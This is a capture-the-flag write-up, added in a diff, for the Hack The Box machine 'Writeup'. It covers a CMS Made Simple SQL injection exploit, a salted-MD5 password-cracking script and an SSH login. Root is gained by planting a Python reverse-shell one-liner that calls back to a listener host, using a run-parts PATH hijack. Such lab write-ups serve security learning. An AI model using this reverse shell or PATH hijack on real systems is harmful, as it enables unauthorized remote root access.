|
| 1 | +# Writeup |
| 2 | + |
| 3 | +<h1 align="center"> |
| 4 | + <br> |
| 5 | + <a href="https://www.hackthebox.eu/home/machines/profile/192"><img src="images/img.png" alt="Writeup"></a> |
| 6 | + <br> |
| 7 | +</h1> |
| 8 | + |
| 9 | +<h4 align="center"> Author: jkr</h4> |
| 10 | + |
| 11 | +*** |
| 12 | + |
| 13 | +__Machine IP__: 10.10.10.138 |
| 14 | + |
| 15 | +__DATE__ : 9/06/2019 |
| 16 | + |
| 17 | +__START TIME__: 2:17 PM |
| 18 | + |
| 19 | + |
| 20 | +*** |
| 21 | + |
| 22 | +## NMAP |
| 23 | + |
| 24 | + |
| 25 | + |
| 26 | +We can see that `robots.txt` is available so let's see what we can find in it. |
| 27 | + |
| 28 | + |
| 29 | + |
| 30 | +`robots.txt` gave us the `/writeup/` URL and visiting there we get the directory with writeups to old machines. |
| 31 | + |
| 32 | +*** |
| 33 | + |
| 34 | +## HTTP |
| 35 | + |
| 36 | +Let's run `gobuster` and see if we can find anything else but `gobuster` didn't worked so I tried `dirsearch` that also didn't worked. I was confused why they weren't working. Then after visiting the website page I realized why. |
| 37 | + |
| 38 | + |
| 39 | + |
| 40 | +So I decided to crawl the website with burp's spider. |
| 41 | + |
| 42 | +Just intercept the requests |
| 43 | + |
| 44 | + |
| 45 | + |
| 46 | +and then send it to spider. In the `site-map` you'll find all the newly discovered content. |
| 47 | + |
| 48 | + |
| 49 | + |
| 50 | +As we can see that other than `robots.txt` there's a `/writeup/` which we already found, meaning there's nothing else. This could mean we need to focus on the `/writeups/` page. |
| 51 | + |
| 52 | + |
| 53 | + |
| 54 | +This is what the page looked like and it had few writeups for old retired machines. |
| 55 | + |
| 56 | +After spending some time looking around I noticed one thing. There's `CMSSESSID` in those `/writeup/` links. |
| 57 | + |
| 58 | + |
| 59 | + |
| 60 | +This mean they are using `CMS` in the back so I decided to search for `CMS` exploit and found this [exploit](https://www.exploit-db.com/exploits/46635) |
| 61 | + |
| 62 | +*** |
| 63 | + |
| 64 | +## Pwn User |
| 65 | +I ran this exploit |
| 66 | + |
| 67 | +```bash |
| 68 | +$ python2 exploit.py -u http://10.10.10.138/writeup |
| 69 | +``` |
| 70 | + |
| 71 | + |
| 72 | + |
| 73 | +``` |
| 74 | +[+] Salt for password found: 5a599ef579066807 |
| 75 | +[+] Username found: jkr |
| 76 | +[+] Email found: jkr@writeup.htb |
| 77 | +[+] Password found: 62def4866937f08cc13bab43bb14e6f7 |
| 78 | +``` |
| 79 | + |
| 80 | +Then I separated the `crack password` function and changed it a bit to crack the password. |
| 81 | + |
| 82 | +```python |
| 83 | +import hashlib |
| 84 | + |
| 85 | +PASSWORD = "62def4866937f08cc13bab43bb14e6f7" |
| 86 | +WORDLIST = "rockyou.lst" |
| 87 | +SALT = "5a599ef579066807" |
| 88 | + |
| 89 | + |
| 90 | +def crack_password(): |
| 91 | + output = "" |
| 92 | + with open(WORDLIST) as f: |
| 93 | + for line in f.readlines(): |
| 94 | + line = line.replace("\n", "") |
| 95 | + if hashlib.md5(str(SALT) + line).hexdigest() == PASSWORD: |
| 96 | + output += "\n[+] Password cracked: " + line |
| 97 | + break |
| 98 | + return output |
| 99 | + |
| 100 | +if __name__ == "__main__": |
| 101 | + print(crack_password()) |
| 102 | +``` |
| 103 | + |
| 104 | +and it cracked the password. |
| 105 | + |
| 106 | + |
| 107 | + |
| 108 | +So now we have the credentials `jkr: raykayjay9` |
| 109 | + |
| 110 | +I was able to login into `jkr` account via SSH. |
| 111 | + |
| 112 | + |
| 113 | + |
| 114 | +Then I got the user |
| 115 | + |
| 116 | + |
| 117 | + |
| 118 | +*** |
| 119 | + |
| 120 | +## pwn root |
| 121 | + |
| 122 | +I downloaded the enumeration script and ran it but couldn't find anything interesting. I tried looking around into different things like `sudo -l` or any cronjobs but I couldn't find anything. |
| 123 | + |
| 124 | +After reading some comments on the forum discussion I found out that I need to keep an eye on the process running. So I downloaded the [pspy](https://github.com/DominicBreuker/pspy) and ran it. |
| 125 | + |
| 126 | +Most of the time I was getting the SSH login. |
| 127 | + |
| 128 | + |
| 129 | + |
| 130 | +But then after sometime I got something different |
| 131 | + |
| 132 | + |
| 133 | + |
| 134 | + |
| 135 | + |
| 136 | + |
| 137 | + |
| 138 | + |
| 139 | + |
| 140 | + |
| 141 | + |
| 142 | +Now we can see that there's something running in background called `run-parts`. |
| 143 | +I found out that it's a cronjob associated with all users. |
| 144 | + |
| 145 | + |
| 146 | + |
| 147 | +Since this binary doesn't have the full path maybe we can use this for our privilege escalation. |
| 148 | + |
| 149 | +Here's the interesting part. A cronjob is triggering |
| 150 | + |
| 151 | +```bash |
| 152 | +sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new |
| 153 | +``` |
| 154 | + |
| 155 | +and we can see that in this command the `run-parts` is without the complete path. And right before that there's a PATH variable defined. |
| 156 | + |
| 157 | +So basically while running the `run-parts` system will search it in the given PATHS. We can take advantage of this by simply making a executable file with a reverse shell in it. If it work it will trigger a Root reverse shell. |
| 158 | + |
| 159 | +I checked and there wasn't any `nc` on the system so I used the python's reverse shell. |
| 160 | + |
| 161 | +```python |
| 162 | +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.107",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
| 163 | +``` |
| 164 | +We have write permission in `/usr/local/sbin` and `/usr/local/bin` so we can make file in any of those. |
| 165 | + |
| 166 | +* `cd /usr/local/sbin` |
| 167 | +* `nano run-parts` |
| 168 | +* paste the reverse shell |
| 169 | + |
| 170 | +  |
| 171 | + |
| 172 | +* `chmod +x run-parts` |
| 173 | +* setup your listener on your system and wait you'll get the root shell. |
| 174 | + |
| 175 | + |
| 176 | + |
| 177 | +*** |
| 178 | + |
| 179 | +I really enjoyed this machine even though the SQLi part on free network was really a pain but I am happy that I was able to complete this. |
| 180 | + |
| 181 | +Thanks to [@jkr](https://twitter.com/ATeamJKR) for making this machine. |
| 182 | + |
| 183 | +*** |
| 184 | + |
| 185 | +Thanks for reading, Feedback is always appreciated |
| 186 | + |
| 187 | +Follow me [@0xmzfr](https://twitter.com/0xmzfr) for more "Writeups". |
0 commit comments